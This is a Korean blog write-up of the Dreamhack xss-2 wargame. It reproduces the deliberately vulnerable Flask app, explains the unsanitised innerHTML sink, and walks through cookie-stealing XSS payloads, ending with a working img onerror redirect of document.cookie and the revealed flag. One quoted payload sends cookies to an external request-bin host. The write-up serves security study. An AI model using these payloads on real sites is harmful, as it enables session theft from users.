문제
문제파일
app.py
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
그 외 나머지는 차차 작성
https://dreamhack.io/wargame/challenges/268
풀이 전략
우선, xss-1 문제 풀이와 굉장히 비슷하다.
저번 풀이에서 임의 이용자의 쿠키를 탈취하기 위한 방법은 2가지가 있었는데
<script>location.href = "/memo?memo=" + document.cookie;</script> |
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script> |
이렇게 두 가지였다.
핵심은 location.href (전체 URL을 반환하거나, URL을 업데이트 할 수 있음), document.cookie (쿠키를 읽고 쓰는) 이렇게 2가지 이다.
이제 코드를 살펴보자.
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
"/", "vuln" 로 주소창이 입력이 되면 해당 템플렛으로 render 되어 이동된다.
/flag로 입력이 되면 GET요청일 경우도 flag.html 로 render 이동,
POST요청일 경우 check_xss 함수가 실행된다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss와 같은 경우 위와 같은데, param과 cookie 가 주어졌을 때, read_url 함수가 실행된다.
일단 vuln.html 의 코드를 보자. /vuln으로 접속시 나오는 템플렛이다
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
{% endblock %}
{% block content %} 부터 보면 되는데,
URLSearchParams 은 URL의 쿼리 문자열을 대상으로 작업할 수 있는 유틸리티 메서드를 정의한다라고 되어있다. 즉 파라미터를 다른 값으로 바꾸는 방법 느낌이다. 그리고 location.search는 파라미터를 가져오는 함수이다.
그 후, ;뒤편에, vuln에 innerHTML = x.get('param') 이 되어있는데, 파람을 직접 넣는다는 의미이다.
innerHTML 속성은 문자열을 받아 이를 HTML로 파싱하고 DOM에 직접 삽입하는데, 문자열이 검증되지 않은 경우 악의적인 스크립트가 포함될 수 있다고 한다.
https://blog.naver.com/dhan0213/223271593033
위 글을 참고하였다.
즉, param부분에
location.href = "/memo?memo=" +document.cookie;
이를 잘 활용하면 flag값을 넣을 수 있을 것 같다. 즉 이것은 Reflected XSS인 것 같다.
실행
xss-1 때 처럼 <script>location.href = "/memo?memo=" +document.cookie</script>를 넣어보자.
memo에는 hello만 떴다.. 애초에 처음 접근 했을 때 <script> <alert>부분도 뜨지 않은 거 보니 안 되는 것 같다. 이에 대해서 여러 블로그 들을 찾아서 확인해봤는데, 대부분 <img> 태그를 이용하는 것 같다.
나도 해보겠다.
<img src = "x" location.href = "/memo?memo=" +document.cookie>로 시도를 해보겠다.
안 나온다...이게 아닌가?
memo 부분에도 나온 건 없었다.
https://sg-choi.tistory.com/420
위 글을 참고해보았는데,
curl "http://localhost:3000?imageUrl=<img src=1 onerror="alert('hack')" />"
이런식으로 작성되어 있다.
즉, onerror을 이용해야하는 것 같다.
<img src = "x" onerror=" location.href = '/memo?memo=' +document.cookie">
그 후, memo를 확인해보니
flag 값이 뜬 것을 확인 할 수 있다.
즉 flag 는
DH{3c01577e9542ec24d68ba0ffb846508f}
이다.
에필로그
확실히 자스에 대해 잘 모르니까 어려운 것도 있고, 개념이 개어렵다 ㄹㅇ;
좀 많이 찾아봐야할 것 같다. 사실 왜 되었는지도 모르겠다. 남이 한 풀이 최대한 코드 분석하면서 이해해보려 한 건데도;
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] CSRF-1 (웹해킹) (1) | 2024.01.07 |
---|---|
[드림핵/웹해킹] ClientSide: CSRF (1) | 2024.01.06 |
[드림핵/웹해킹] Mitigation : Same Origin Policy (0) | 2024.01.04 |
[드림핵/워게임] session-basic (웹해킹) (1) | 2024.01.03 |
[드림핵/워게임] cookie (웹해킹) (1) | 2024.01.02 |